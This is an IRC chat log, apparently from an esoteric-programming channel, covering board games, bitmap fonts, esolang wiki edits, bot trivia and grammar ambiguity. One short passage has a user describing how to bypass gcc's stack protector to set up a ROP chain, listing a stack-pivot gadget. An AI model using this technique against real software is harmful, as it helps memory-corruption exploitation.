00:03:59 <quintopia> and i think there are WAY TOO MANY zombie games
00:04:15 <boily> also it happened that those two games had a timed soundtrack, so I had to play it on a speaker and stuff.
00:04:16 <shachaf> i think most zombie games are in the "way too many" category
00:04:22 <shachaf> apparently that's how zombies work?
00:04:43 <boily> Zombie 15 is incredible: you have 15 minutes to get through a scenario, without dying too much.
00:05:00 <quintopia> i know a gmae where you put a soundtrack on shuffle and it times itself
00:05:48 <quintopia> i like this idea of a 15 minute game
00:06:04 <quintopia> because zombicide's "UP TO 6 HOURS" is not fun nono
00:06:23 <boily> I can't play Zombicide with my friends. they don't let me :/
00:06:44 <quintopia> i can't because i will hate everyone if i do.
00:07:03 <quintopia> WHY ARE YOU TAKING SO LONG TO DECIDE WHAT TO DO JUST DO SOMETHING LETS FINISH THIS DAMN GAME
00:07:15 <quintopia> also i don't know that i've ever seen anyone lose.
00:07:47 <boily> I add challenge to the game ^^
00:08:55 <quintopia> i might play with you then. people take it way too seriously
00:09:15 <boily> a coop has to be dramatic.
00:09:31 <boily> the only one I play full lawful good is Red November, because fungot is it hard.
00:09:40 <boily> fizzie: FUNGOOOOOOOOOOOOOOOOOOOOOOT!
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00:12:43 <shachaf> boily: how pooched are you
00:13:40 <boily> shachaf: my feet are pooched. I saw a mastiff today. some passerbys at the event had dogs.
00:15:08 <boily> I don't think so. poodles, labradors, the aforementioned mastiff, but no newfie pooches.
00:16:03 <shachaf> you mastiff not noticed them
00:18:20 <\oren\> OK! i've now made a program that fixes all the bullshit that fontforge screws up when it generates my font!
00:18:53 <\oren\> http://www.orenwatson.be/ttfcorrect.htm
00:21:30 <\oren\> however, I still can't get chrome to display my font without blurring it
00:22:13 <\oren\> I need to add more comments to this code
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00:26:22 <\oren\> Ok, apparently my font doesn't work well with "DirectWrite", some new chrom font renedering algortihm
00:27:51 <shachaf> DirectWrite is a Windows thing.
00:29:54 <\oren\> Well only chrome uses it then
00:30:36 <\oren\> hold on I'll screenshoot it
00:33:50 <\oren\> http://www.orenwatson.be/goddamnchrome.png
00:34:05 <\oren\> see, only chrome is blurry
00:34:31 <boily> my eyes. they are not happy.
00:34:38 <\oren\> specifically, only chrome, and only the white text on chrome
00:35:13 <\oren\> the blue text is not nearly as blurred
00:35:47 <\oren\> firefox displays pixel-perfect with no blurring
00:35:59 <\oren\> as does my temrinal program
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01:01:37 * lifthrasiir wonders if it is a perfect timing for tsukkomi
01:03:57 <\oren\> I wonder if chrome pays attention to embedded bitmaps in a ttf
01:05:58 <\oren\> even god damn IE doesn't use this stupid directwrite bullshit
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01:52:40 <lifthrasiir> made some convenience pixel codes for marking pixels (rather than subpixels)
01:53:14 <lifthrasiir> so that, there are now two codes for upper-left half-triangles, one filled in 1:1 scale and one empty.
01:53:34 <lifthrasiir> I've updated font-sample.html to show both versions
01:58:25 <lifthrasiir> \oren\: http://cosmic.mearie.org/2015/11/font/font.txt
01:59:37 <\oren\> that looks very similar to the format that GNU unifont was made with
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02:29:52 <\oren\> appently not, it uses only on (#) and off (-) for each pixel
02:35:53 <lifthrasiir> \oren\: my code has half triangles (/ \) and quad triangles (d b 9 P < > ^ v etc.) as well
02:36:08 <lifthrasiir> for the smoother glyph in the large rendering
02:52:17 <FireFly> lifthrasiir: do you have any sample text rendered with this?
02:55:36 <FireFly> How do the "glyph X = Y" lines work? it looks like !'s get replaced with the Y glyph or something; is that it?
02:56:01 <FireFly> Ah.. for colour purposes I suppose
02:58:12 <lifthrasiir> FireFly: combining glyphs. ! is a placeholder for hints, but I want to verify that ! is actually overwritten by other glyphs in the future.
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03:43:31 <\oren\> I added small glagolitic ⰰⰱⰲⰳⰴⰵⰶⰷⰸⰹⰺⰻⰼⰽⰾⰿⱀⱁⱂⱃⱄⱅⱆⱇⱈⱉⱊⱋⱌⱍⱎⱏⱐⱑⱒⱓⱔⱕⱖⱗⱘⱙⱚⱛⱜⱝⱞ
03:54:43 <HackEgo> [wiki] [[Purple]] http://esolangs.org/w/index.php?diff=45596&oldid=45595 * Quintopia * (-7) /* Python 2 */ More golfing!
04:02:31 <zzo38> Maybe a program can also be made that can convert such format that has the triangles and so on into TFM/PK as well (although TFM requires that metrics depend only on the low 8-bits of the character code, but PK supports up to 32-bit character codes); kerning and ligatures are also supported in this case. Other formats such as WalText2 possibly it would also be possible to make compiler into TFM/PK
04:05:13 <\oren\> lifthrasiir: your capital Y is one pixel too wide
04:05:54 <lifthrasiir> I'm aware, the odd-width glyph is quite hard to deal with
04:06:44 <zzo38> Does your format have ligature/kerning?
04:09:10 <\oren\> the overall aspect ratio is 8:16 which is the same as GNU unifont, but less than my font which is 9:16
04:11:16 <zzo38> My DVIPBM program does not need TeX or METAFONT at all. If you make your own typesetting software and/or font software, it can use that just fine. It will work with any resolution even with non-square pixels, and any paper size. And, if your printer driver does not support PBM, you can use ImageMagick or other software to conver it. I expect it to work just fine with troff although I have not tested this.
04:12:34 <\oren\> 8:16 does have the advantage that double-width characters will be perfect squares at 16:16
04:12:50 <\oren\> whereas mine are 18:16
04:13:12 <zzo38> Yes, you have that advantage if you are trying to make square characters
04:16:07 <HackEgo> [wiki] [[Purple]] http://esolangs.org/w/index.php?diff=45597&oldid=45596 * Quintopia * (+2) /* Python 2 */ More golfing!
04:47:37 <HackEgo> [wiki] [[Dimensions]] http://esolangs.org/w/index.php?diff=45598&oldid=41742 * Quintopia * (-159) removed the languages that weren't actually related to Dimensions
05:30:51 <FreeFull> zzo38: What if I have only a teletype?
05:45:55 <zzo38> That depends what you are trying to do with it.
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06:20:13 <HackEgo> [wiki] [[L]] N http://esolangs.org/w/index.php?oldid=45599 * Phase * (+1529) Created page with "'''L''' is an esoteric language made by [[User:Phase|Phase]] that only uses <code>l</code> and <code>\n</code>. * <code>l</code> increments the accumulator by one * <code>\n<..."
06:28:14 <HackEgo> [wiki] [[L]] http://esolangs.org/w/index.php?diff=45600&oldid=45599 * Phase * (+207)
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07:42:17 <HackEgo> danddreclist 71: shachaf nooodl boily \ http://zzo38computer.org/dnd/recording/level20.tex
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07:57:33 <HackEgo> [wiki] [[Purple]] http://esolangs.org/w/index.php?diff=45601&oldid=45597 * Quintopia * (-3) /* Python 2 */ Moregolfy!
07:58:11 <por> was wisdom.pdf created with latex?
07:58:48 <por> oops spoke too soon! i just read that is was.
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08:08:05 <zzo38> And, level20.dvi was created with Plain TeX.
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08:10:18 <zzo38> I don't know; I think often (not always) is written like that
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08:29:13 <por> zzo38: level20.dvi?
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08:41:39 <zzo38> I just updated it a few minutes ago even. It is http://zzo38computer.org/dnd/recording/level20.dvi and the source-codes also available, with level20.tex in same directory. There is the notice of updating on this IRC
08:42:23 <zzo38> I wrote that as well as the macro package to go with it (which I also wrote, and is also available in the same directory). They are all public domain.
08:43:27 <zzo38> If you look at all of the logs, you can see a lot of stuff being discussing in this IRC.
08:53:58 <zzo38> Do you use TeX for anything?
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09:24:24 <HackEgo> [wiki] [[Platts]] http://esolangs.org/w/index.php?diff=45602&oldid=37783 * Quintopia * (-4) /* Examples */ bugfix
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09:27:41 <HackEgo> [wiki] [[Platts]] http://esolangs.org/w/index.php?diff=45603&oldid=45602 * Quintopia * (+0) /* Examples */ bugfix
09:28:36 <HackEgo> [wiki] [[Platts]] http://esolangs.org/w/index.php?diff=45604&oldid=45603 * Quintopia * (+4) Undo revision 45602 by [[Special:Contributions/Quintopia|Quintopia]] ([[User talk:Quintopia|talk]])
09:28:59 <HackEgo> [wiki] [[Platts]] http://esolangs.org/w/index.php?diff=45605&oldid=45604 * Quintopia * (+0) Undo revision 45603 by [[Special:Contributions/Quintopia|Quintopia]] ([[User talk:Quintopia|talk]])
09:34:28 <HackEgo> [wiki] [[Platts]] http://esolangs.org/w/index.php?diff=45606&oldid=45605 * Quintopia * (+2252) implementation
09:36:49 <HackEgo> [wiki] [[Platts]] http://esolangs.org/w/index.php?diff=45607&oldid=45606 * Quintopia * (+58) /* Syntax */ Expanded allowed symbols to match implementation
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10:30:19 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
10:33:01 <b_jonas> Why does "Consume Spirit" say "Spend only black mana on X." rather than "Spend only black mana on {X}."? In both the oracle text and the M12 printed text.
10:34:22 <b_jonas> Hmm, the M12 version has new flavor text, from Sorin, compared to the 10E version I have.
10:35:41 <HackEgo> patching file 'wisdom/hppavilion[1]'
10:36:10 <oerjan> general principle: if you change a wisdom without checking if there is one there first, i may revert it hth
10:36:24 <oerjan> (i may still do it if you do, but less likely.)
10:37:10 <HackEgo> hppavilion[1] se describe en las notas al pie. ¿Porqué no los dos? Nadie lo sabe.
10:37:36 <oerjan> `` sed -i 's/^/zzo38cards are at /' wisdom/zzo38cards
10:38:00 <oerjan> `` mv wisdom/zzo38card{s,}
10:38:30 <oerjan> also if your wisdom is not a complete sentence i may edit it.
10:39:07 <HackEgo> zzo38cards are at http://zzo38computer.org/textfile/miscellaneous/magic_card/cards.txt
10:39:21 <HackEgo> gentlebeing/A gentlebeing is a gender and species neutral gentleman.
10:39:56 <oerjan> `` sed -i 's/$/./' wisdom/vi
10:40:35 <FireFly> I really like small, domain-specific languages like lifthrasiir's text-based font description language up there
10:40:56 <oerjan> `` sed -i 's/$/./' wisdom/'imperative language'
10:42:00 <oerjan> `` sed -i 's/e/E/' wisdom/erudecorp
10:43:03 <oerjan> `` echo '' >>wisdom/'imperative language'
10:43:33 <HackEgo> precious/precious? That doesn't ring a bell. ¯\(°_o)/¯
10:45:57 <HackEgo> ls: cannot access interp/l*t: No such file or directory
10:46:02 <HackEgo> ls: cannot access interps/l*t: No such file or directory
10:46:54 <HackEgo> Learned '1337': 1337 15 50 905
10:47:58 <FireFly> There's some nonexistent command that occasionally gets corrected into @leet, but I forget what it was
10:48:21 <FireFly> well, that always gets corrected, but that people occasionally attempt
10:48:36 <b_jonas> fungot, how do you think I should refactor this code
10:48:36 <fungot> b_jonas: hey pitecus and jivera: orbit and twobit are perfect for that.
10:48:52 <b_jonas> fungot: a jivera? is that like a zubera?
10:48:52 <fungot> b_jonas: run the scheme system copies the expression for later
10:48:58 <FireFly> Apparently you should refactor your code into urbit
10:49:02 <b_jonas> oh, that might work. thanks, fungot.
10:49:03 <fungot> b_jonas: modulo 9, 9 is a free smalltalk. unfortunately, the worst amiga game i've seen it already, though; we've got both a profiler and a fnord fnord fnord x 2 y
10:49:32 <FireFly> `learn 9 is a free smalltalk
10:49:44 <HackEgo> Learned '9': 9 is a free smalltalk
10:50:47 <oerjan> `` sed -i 's/$/./' wisdom/9
10:52:07 <oerjan> it briefly existed again some months ago
10:52:14 <oerjan> but int-e disabled it again.
10:53:39 <b_jonas> It seems I missed more than one M:tG rules update bulletins. I'll have to go back to reread them carefully.
10:54:52 <FireFly> lifthrasiir: I'm not a fan of 6-dot braille not being consistent with 8-dot braille.. in part because I like to abuse braille as pixels, but also because I imagine it'd be bad for actual braille lettering
10:55:48 <oerjan> `` ls wisdom/hppavilion[1]
10:56:33 <HackEgo> wisdom/hppavilion1 \ wisdom/hppavilion[1]
10:57:09 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: rfw: not found
10:59:54 <HackEgo> higgledy piggledy / hp pavilion / doesn't like jokes that are / written in text; // uncontroversially, / one in a million is / roughly the chance they won't / be left perplexed
11:01:30 <oerjan> i was wondering why boily's edit did nothing.
11:03:14 <HackEgo> Your famous evil overlord oerjan is a lazy expert in future computation. Also an antediluvian Norwegian who hates Roald Dahl. He can never remember the word "amortized" so he put it here for convenience.
11:03:21 <HackEgo> Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers.
11:04:05 <FireFly> That's twice the amount of wisdom I have
11:04:26 <FireFly> and it isn't even fun wisdom :(
11:04:34 <HackEgo> FireFly was a short-running but well-loved sci-fi TV series released in 2003, starring Nathan Fillion and directed and written by Joss Whedon.
11:04:58 <FireFly> oh wow, someone remembered my altnick
11:08:03 <oerjan> `learn Effilry is eemnoos how ahs got it all deorst otu.
11:08:06 <HackEgo> Learned 'effilry': Effilry is eemnoos how ahs got it all deorst otu.
11:09:08 <HackEgo> wisdom/macabre \ wisdom/madness \ wisdom/magic \ wisdom/mapole \ wisdom/marmite \ wisdom/mathematimu \ wisdom/maths \ wisdom/mauke \ wisdom/mauris \ wisdom/maybe
11:09:14 <HackEgo> The magic was in you all along.
11:09:36 <HackEgo> the Toe of Harriness's Enclosure
11:10:09 <HackEgo> mauke is a Master Archer. Caution! He can shoot your PRIVMSG with creative arrows!
11:11:15 <HackEgo> A mathematimu is a quantum of mathematics. If you observe it, its codepoint can change.
11:11:18 <b_jonas> `learn The Daystar is an unscientific myth of a bright orb glowing in the sky outside only at the times you're in your office.
11:11:21 <HackEgo> Learned 'daystar': The Daystar is an unscientific myth of a bright orb glowing in the sky outside only at the times you're in your office.
11:12:26 <oerjan> `learn Rainbows are spectral creatures said to be powered by the Daystar.
11:12:29 <HackEgo> Learned 'rainbow': Rainbows are spectral creatures said to be powered by the Daystar.
11:13:25 <b_jonas> FireFly: right, for that we need a bot that can list entries from the comprehensive rules and oracle
11:14:34 <HackEgo> russell's teapot? ¯\(°_o)/¯
11:14:55 <b_jonas> `learn IPU is an invisible pink unicorn.
11:14:57 <HackEgo> Learned 'ipu': IPU is an invisible pink unicorn.
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11:17:56 <oerjan> `le/rn russell's teapot/Russell's Teapot / Short and stout / Orbits near Mars / Or thereabout.
11:17:58 <HackEgo> Learned «russell's teapot»
11:19:27 <Taneb> If you see us/Let us know/If you don't/What does that show?
11:20:23 <FireFly> IPU is an incredibly pompous unicorn
11:20:33 <oerjan> `le/rn russell's teapot/Russell's Teapot / Short and stout / Orbits near Mars / Or thereabout. / If you see it / Let us know / If you don't / What does that show?
11:20:36 <HackEgo> Learned «russell's teapot»
11:21:15 <oerjan> Taneb: wait is that a pre-existing rhyme
11:22:07 <Taneb> Aaaah I can't remember the second verse to I'm a little teapot
11:23:44 <Taneb> I think it has the lyrics scream and shout
11:24:04 <HackEgo> danddreclist/http://zzo38computer.org/dnd/recording/level20.tex (the precompiled .dvi is also available)
11:28:05 <myname> zzo38: what do these tex commands do? does it keep track of stuff and rules or the like?
11:29:47 <b_jonas> myname: they track the character sheets for example
11:31:16 <myname> like, you can do \charactersheet{Also} and it will give you a sheet?
11:34:23 <oerjan> Taneb: are you sure not confusing it with "When in danger / or in doubt / run in circles / scream and shout"
11:34:27 <b_jonas> by the way, the winners of the 24th ioccc were announced in october, but I somehow missed that
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11:51:58 <FireFly> Endoh managed to win with three programs, not bad
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12:28:50 <b_jonas> ImageMagick's plans for the future version 7 are quite ambitious. basically they want the program to do everything.
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12:30:29 <b_jonas> Apparently they want to do operations in such generality over any color space as gimp 3.
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12:41:59 <FireFly> Although it's a pity the work has to be duplicated
12:42:32 <FireFly> Perhaps it would be better if there could be a command-line frontend akin to imagemagick's for GIMP operations
12:43:59 <oerjan> oops i think mr. ishiguro did a _big_ mistake over in freefall
12:44:28 <b_jonas> FireFly: um, there's the python interface, the perl interface, the guile interface, for gimp. you can use those from command-line as perl one-liners.
12:44:51 <b_jonas> fungot, are you a vampire?
12:44:51 <fungot> b_jonas: it's actually why i tend to have a large fnord file, but not any haiku that i can
12:47:24 <b_jonas> fungot, are you the immortal kind of vampire who when killed just turns gaseous and flees back to his coffin to heal unless killed by a silver bullet, a stake through your heart, bright light, garlic, holy water, chainsaw, fire, a rooster, with holy wafers in your mouth sewn closed, or in your bat form?
12:48:07 <FireFly> I'm curious too. Well, fungot, are you?
12:48:07 <fungot> FireFly: and my fnord account :) built a binary search tree
12:48:25 <FireFly> I'm not sure how to interpret that
12:58:33 <int-e> wow, updated already?
12:59:06 <int-e> fungot: let's build a binary decision diagram instead
12:59:06 <fungot> int-e: can i have your new browser anmaster i call it event-based declarative language for making bot ai's for a game, and how
12:59:18 <oerjan> int-e: it's been updating early for weeks
12:59:46 <lifthrasiir> FireFly: a fair point. the braille pattern is too large to fit with others, but I initially wanted to make (much widely used) 6-dot brailles good looking when mixed with normal text. probably not a wise decision though...
13:00:59 <int-e> oerjan: I didn't realize it was *that* early
13:03:06 <Taneb> int-e: I've been reading it when I wake up
13:03:33 <oerjan> i only checked just now, but other days it's been up at like 7 am
13:04:51 <Taneb> It was up before quarter to 10 GMT this morning
13:06:18 <b_jonas> hah, "Javascript is required for optimal experience." -- ok, so it's not actually required, only recommended.
13:07:04 <Taneb> b_jonas: if you need optimal experience, JavaScript is required
13:07:15 <int-e> better than google
13:07:15 <Taneb> So it's teeeeeeechnically correct
13:07:31 <int-e> "When you have eliminated the JavaScript, whatever remains must be an empty page."
13:42:03 <myname> has anybody here ever written something in curry?
13:53:42 <b_jonas> Wait, so IPF is another name for the Itanium aka IA64 architecture?
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14:31:11 <mroman> I wish there were something between Java and JavaScript.
14:35:33 <mroman> Because I like neither of the two.
14:35:43 <mroman> I don't like Java because it limits my expressive mental power.
14:35:51 <mroman> and I don't like JavaScript because I don't like it.
14:35:59 <izabera> would you like scriptjava?
14:36:33 <mroman> If it supports functional programming with type inference, operator overloading etc. then yes
14:40:00 <b_jonas> mroman: um, maybe you want haskell?
14:40:04 <Taneb> What does the Japanese in the topic mean?
14:42:16 <HackEgo> [U+30A6 KATAKANA LETTER U] [U+30D5 KATAKANA LETTER HU]
14:44:00 <mroman> but SPJ disappoints me
14:44:03 <mroman> He's working at Microsoft
14:44:10 <mroman> but IE still doesn't support Haskell native
14:44:23 <mroman> that's kind of a bummer
14:44:26 <FireFly> It doesn't support VB anymore either, so
14:44:38 <mroman> Yeah, they got cold feet.
14:44:57 <FireFly> I guess at this point you'd almost expect them to support TypeScript natively, but I don't think they do that either?
14:45:00 <mroman> and lots of companies wont use newer IE versions because of that
14:45:09 <mroman> because they're still running websites with client side VB
14:45:49 <mroman> like book keeping/time keeping software :)
14:47:14 <mroman> and of course, using old versions of office
14:47:26 <mroman> due to plugin compatibility issues
14:49:48 <mroman> I was told off for using divs rather than tables after the intranet site look broken on the new IE
14:50:02 <mroman> while making it look good on the new IE I just switched to using divs :)
14:50:09 <mroman> that was a few years ago though
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15:32:00 <HackEgo> [wiki] [[FiM++]] http://esolangs.org/w/index.php?diff=45608&oldid=36952 * 192.127.94.7 * (+0) /* Syntax */ replaced one of the colons with a semicolon
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16:23:03 <mroman> gcc's stack-protector-all is killing me
16:23:17 <mroman> it produces unfavorable stack layouts
16:23:25 <mroman> the stack cannary isn't the problem
16:23:29 <mroman> the problem is the stack layout it chooses
16:23:41 <mroman> usually the stack layout is ARGS -> EIP -> EBP -> LOCALS
16:24:04 <mroman> with just the stack cannary it'd be ARGS -> EIP -> EBP -> CANNARY -> LOCALS
16:24:08 <mroman> that wouldn't be a big deal.
16:24:19 <mroman> but it actually rearranges mixes args and locals etc.
16:24:52 <mroman> and that's really unfavorable
16:25:13 <mroman> because you'd want esp to point to your buffer somehow so you can set up a rop chain
16:26:05 <mroman> but the stack layout with stack-protector-all makes it hard to gain control over esp
16:26:40 <mroman> which is what you need to provide arguments to functions you're going to call and setup a chain of functions
16:28:42 <mroman> 0x08048597 : add esp, 0x54 ; pop ebx ; pop ebp ; ret
16:28:50 <mroman> which means you need these kind of gadgets
16:28:54 <mroman> but 0x54 is too much in this case :(
16:29:23 <mroman> (you need to find a gadget that alters esp in a way so it points into your buffer)
16:36:04 <lifthrasiir> http://cosmic.mearie.org/2015/11/font/sample 542 glyphs so far.
16:39:13 <mroman> exploiting security vulnerabilities in brainfuck programs
16:39:32 <mroman> You can make them print to stdout whatever the f*ck you want using that security vulnerability
16:44:28 <b_jonas> mroman: by taking over the interpreter that doesn't check tape head underflow or overflow
16:45:09 <mroman> or by assuming that bf programs use NUL-Terminated strings as well .
16:45:20 <b_jonas> or maybe has some more complicated bug, in an optimized interpreter
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17:04:16 <b_jonas> Wait, I don't understand this. If the demigods only vote in case of a tie, then how did Hermod expect to cast a protest vote while also thinking there would not be enough aye votes.
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17:37:50 <hppavilion[1]> I need an identifier for the "0" function. Essentially, 0:x::1:I where I is the identity function
17:38:59 <hppavilion[1]> I /could/ just use 0, but that gets confusing because most numeric functions have a domain of only the reals and functions. S (for "Self") already means successor. Z might work.
17:46:32 <FreeFull> "This pangram contains four As, one B, two Cs, one D, thirty Es, six Fs, five Gs, seven Hs, eleven Is, one J, one K, two Ls, two Ms, eighteen Ns, fifteen Os, two Ps, one Q, five Rs, twenty-seven Ss, eighteen Ts, two Us, seven Vs, eight Ws, two Xs, three Ys, & one Z."
17:46:58 <FreeFull> I wonder how much finangling was needed to produce this sentence
17:50:20 <hppavilion[1]> Though I'm doing some shady math, so it isn't too meaningful
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18:10:21 <HackEgo> [wiki] [[Special:Log/delete]] delete * Ais523 * deleted "[[Apollo]]": XNR left behind after aborted attempt to move to mainspace
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18:11:25 <HackEgo> [wiki] [[Special:Log/delete]] delete * Ais523 * deleted "[[User:Esowiki201529A/test link]]": copyright violation
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18:13:04 <HackEgo> [wiki] [[Special:Log/block]] block * Ais523 * blocked [[User:103.3.98.227]] with an expiry time of 1 week (anonymous users only, account creation disabled): copyright violation, possibly spamming, more likely human than spambot
18:14:12 <b_jonas> ais523: this is a month old news, so you might have seen it: The winners of the 24th IOCCC have been announced. http://www.ioccc.org/2015/whowon.html
18:14:48 <HackEgo> [wiki] [[User talk:103.3.98.227]] N http://esolangs.org/w/index.php?oldid=45609 * Ais523 * (+503) block notice
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18:27:45 <b_jonas> zzo38: ok, crazy idea. name: Fallen Behind. mc: 1BB. type: Enchantment. text: At the beginning of each end step, destroy all permanents that have been tapped and controlled by the active player continuously since the beginning of the turn. For each permanent destroyed this way, put a 2/2 black Zombie creature token onto the battlefield.
18:30:54 <b_jonas> The relative phrase should be rephrased somehow to make it better.
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18:49:15 <ais523> hppavilion[1]: I deleted the redirect you left behind at [[Apollo]] for yo
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18:49:51 <ais523> not accidentally, as a non-admin you have no means not to
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18:56:05 <b_jonas> ais523: meanwhile, I also wanted to ask you about something
18:56:32 <ais523> b_jonas: which reminds me
18:56:47 <ais523> I'm now pretty sure Three Star Programmer is TC; I have a plan for compiling cyclic tag into it
18:57:10 <b_jonas> great, that would be interesting
18:59:23 <b_jonas> So I want to ask about ayacc and yacc stuff.
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19:00:32 <b_jonas> I'd like to know how we can prove with a computer that an ambiguous ayacc grammar is ambiguous only in ways that we like. There are two specific cases I want to bring up.
19:01:12 <b_jonas> The first is when the language has some infix operators, with precedences and associativity declared with the directives.
19:02:00 <b_jonas> These are supposedly disambiguated by parenthesis. Is there some way that we could make the computer verify us that all relevant expressions can indeed be parenthisized?
19:02:13 <b_jonas> This surely needs some extra annotations in the grammar, but even still I'm not sure how we could do it.
19:02:20 <b_jonas> It might even need changes in ayacc.
19:02:49 <ais523> b_jonas: isn't it known that it's impossible to tell whether a language is ambiguous or not?
19:03:07 <b_jonas> I don't want it to be that general
19:03:15 <b_jonas> I just want a particular way to prove that the language is not ambiguous
19:03:38 <b_jonas> ayacc already has such a way: if the language has no shift-reduce and reduce-reduce conflicts as a lalr(1) grammar, it's unambiguous
19:04:13 <b_jonas> But in some well-behaved cases we can prove it, say if the precedences resolve all those conflicts.
19:04:25 <b_jonas> I don't ONLY need that the grammar is unambiguous
19:05:15 <b_jonas> but also that for any syntax tree that the ambiguous version (without precedences) could nondeterministically output, there's some input for which the deterministic version (with precedences) outputs the same syntax tree,
19:05:40 <b_jonas> and you can get this input easily from the syntax tree by undoing the rules and adding parenthesis to some places where it's necessary.
19:05:55 <int-e> Hmm you could write a pretty-printer for the AST and prove you can parse the original AST back.
19:06:14 <ais523> that's an interesting direction to go down
19:06:15 <b_jonas> We could annotate rules that we want to treat as behaving like parenthesis.
19:06:51 <ais523> hmm, is a grammar always unambiguous if every production starts with ( and ends with ), with those characters otherwise unused?
19:07:10 <ais523> err, no, you also need to avoid having two rules that tr
19:07:18 <ais523> *that trigger on the same input sequence directly
19:07:24 <int-e> (I'm trying to get there conceptually... this doesn't mean that there has to be an *actual* pretty printer at any point)
19:07:25 <b_jonas> ais523: this seems important to me because in some real languages like C++ it gets quite difficult to see that while the crazy syntax quirks make you rephrase some things you want to write, but you can always rephrase, and there's a mechanical way to do that.
19:07:38 <ais523> as in, a := ( b ) | ( c ); b := ( d ); c := ( d )
19:08:07 <b_jonas> ais523: of course not. there can still be simple reduce-reduce ambiguities
19:08:25 <ais523> right, that's the same thing I suggested there
19:08:39 <ais523> it /does/ make the shape of the parse tree unambiguous, though
19:08:48 <ais523> only ambiguity is as to which type of node a particular node is
19:09:13 <b_jonas> I mean, C++ grammar is _crazy_
19:09:40 <b_jonas> but at least many people who have an eye for things like this stare at it a lot, which helps.
19:10:24 <b_jonas> However, I'd like a mechanical way to be able to prove things like this, which doesn't depend on a committee happening to squint at the grammar the right way and not finding any problems.
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19:18:11 <b_jonas> So if a grammar uses infixes and precedences, then ayacc can already prove that the language with precedences in unambiguous.
19:18:16 <b_jonas> But it can't prove that it's expressive enough.
19:19:17 <b_jonas> Let me mention another case. Suppose that instead of precedences, you have prefix operators that take a variable number of arguments (the last argument is optional or can be repeated),
19:19:44 <ais523> this sounds like an esolang already :-D
19:19:46 <b_jonas> and to make the grammar unambiguous, there's an optional matching terminator you can put after the expression to close the innermost expressions of certain kind.
19:20:01 <b_jonas> it's C, with its if-else ambiguity
19:20:27 <b_jonas> obviously it can also be an esolang, because esolangs can do such things too
19:20:34 <b_jonas> but it's very much a real problem
19:20:51 <b_jonas> oh right, C doesn't have just a matching terminator
19:20:56 <ais523> that if-else ambiguity is really common, and also quite hard to fix in yacc
19:21:09 <ais523> (although ayacc will output a message telling you what you have to do, it's not at all obvious why it works)
19:21:46 <ais523> also, how do you write an ambiguous try-catch? try foo(); try bar(); catch (x) { ... } ?
19:21:48 <ais523> that doesn't seem very useful
19:21:52 <ais523> even if it is technically ambiguous
19:22:14 <b_jonas> ais523: try try foo catch(x) bar catch(y) bar catch(z) bar catch(w) bar
19:22:40 <ais523> gah, that line of code is painful to read
19:23:16 <b_jonas> ais523: yes, especially as it's not even clear that the first "try" is part of the code. sorry.
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19:24:02 <b_jonas> So in this case what I think I can do is to have a grammar that has alternatives for certain rules with equivalent semantics (say with or without the terminator), and use a preprocessor to create a variant of the grammar with the more concise equivalents stripped, and then use ayacc to prove that the variant is unambiguous.
19:24:27 <b_jonas> That is, prove that if you always have to write else; after every if statement without an else, then it's unambiguous
19:24:41 <b_jonas> or always have to write endif after an if, in a non-C language
19:26:59 <b_jonas> At first stage, I'd like a system where if I understand why the language can express everything I want to express, and a precise method for how to parenthisize a syntax tree to express it, then
19:28:26 <b_jonas> I should have a way to annotate (1) how syntax trees are equivalent to others semantically, (2) how I'm ok if some syntax trees are unexpressible because they're meaningless anyway even if it seems from the nondeterministic grammar that they should be possible, and (3) why the language is expressive;
19:28:50 <b_jonas> and then the computer should be able to check that if it trusts me about (1) and (2) then (3) is really a proof that the syntax is expressive.
19:29:31 <b_jonas> At second stage, I'd like the computer to tell me why my proof in (3) doesn't work, eg. give counterexamples, similarly to how ayacc helps tell why a lalr(1) grammar has conflicts.
19:29:45 <myname> http://wogcc.state.wy.us/SundryPassWord.cfm
19:30:31 <b_jonas> At zeroth stage, I'd like to know what the heck to search for to find scientific research papers about this.
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19:31:09 <b_jonas> Maybe I should ask zeroth stage on TCS stack exchange.
19:31:24 <b_jonas> But first I'll wait if you have anything in minid.;
19:31:34 <ais523> it's possible that even this is uncomputable
19:31:42 <ais523> if it isn't, I don't really have ideas on where to start
19:31:45 <b_jonas> I don't need to always be able to prove it.
19:31:58 <b_jonas> I just need a particular restricted set of grammars and annotations that work for some grammars.
19:32:11 <b_jonas> I don't need this to work for every crazy language.
19:32:23 <b_jonas> Just, you know, many real world crazy languages.
19:32:34 <b_jonas> I mean, in many case my problem in first place is that the language isn't even LR.
19:33:48 <ais523> yacc input is LR(2) (but not LR(1)), which is one of my favourite parser facts
19:34:31 <b_jonas> And C (after preprocessing) requires you to track which names are typenames in what scopes.
19:34:33 <ais523> it's one of my favourite parser facts, so I'm not surprised I mentioned it earlier
19:34:46 <b_jonas> Which gets way more complicated in C++ by the way.
19:35:01 <b_jonas> The grammar of C++ is horrible. It has so many corners.
19:35:03 <FreeFull> Use Rust, it's easy to parse =P
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19:37:31 <hppavilion[1]> 3 is a function here, equal to x*3, so I must be able to do f**g
19:37:50 <b_jonas> There are some horrible kludges that handle some underlying ambiguities, some right in the lexer; and there's multiple ambiguities that the programmers themselves have to be aware of because they come up in real world code and can't be fixed because of compatibility.
19:38:08 <ais523> hppavilion[1]: well in Underload and Underlambda, numbers are defined as the matching exponentiation functions
19:38:39 <hppavilion[1]> ais523: OK. Well for mine, it makes more sense that they're multiplication
19:38:39 <ais523> e.g. (a)3^, or "a to the power 3", is a compose a compose a (i.e. aaa in Underload/Underlambda syntax)
19:38:49 <b_jonas> FreeFull: nah, there are no languages that are good and simple, only ones that are too young yet to be complicated. this applies to syntax too.
19:38:59 <ais523> so your "there should be a way to exponentiate one function with another" is just application (multiplication is composition)
19:39:07 <hppavilion[1]> I also found that f(g)=f . g, so that might be helpful
19:39:27 <FreeFull> b_jonas: C started out with a good deal of "complicated"
19:39:59 <FreeFull> I mean specifically Rust can be parsed with an LR(1) grammar
19:40:11 <b_jonas> ais523: I don't think unlambda or underload specifically favors that particular numeric representations. It's not like there are library functions using them or something.
19:40:25 <ais523> b_jonas: underlambda does have library functions
19:40:38 <ais523> they're meant to be general-purpose but specifically favour that numeric representation
19:40:47 <ais523> underload doesn't, and in fact some people use other numeric representations
19:40:50 <ais523> like the string-of-colons one
